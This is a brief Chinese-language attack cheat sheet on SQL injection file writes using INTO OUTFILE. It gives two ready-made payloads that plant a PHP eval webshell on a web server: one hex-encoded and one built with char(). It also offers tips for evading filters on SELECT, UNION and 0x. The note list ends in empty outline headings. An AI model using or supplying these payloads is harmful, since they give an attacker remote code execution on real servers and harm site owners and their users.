禁用select的时候也是可以写的,因为有lines terminated by 这种写法 这种还可以用于快速测试能否写入,因为它可以不加其他敏感关键字,比如union之类
select pass from admin where user='admin' into outfile 'c:/xxx/xxx/xxx.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b4343505d293b3f3e-- -
无法写入16进制的时候前面的0x是必要的,如果没有,你将会只写进去一串字符串
在0x被过滤的情况下可以尝试使用char(xx)这种写法 char()与ord()是对应的相反函数
select 1,2,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,93,41,59,63,62) into outfile '/var/www/html/1.php'#
0x01[原理]
0x02[使用限制]
0x03[补充情报]
[获取路径]
0x04[攻击语句]
0x05[注意事项]
特别注意路径分隔符
0x06[相关链接]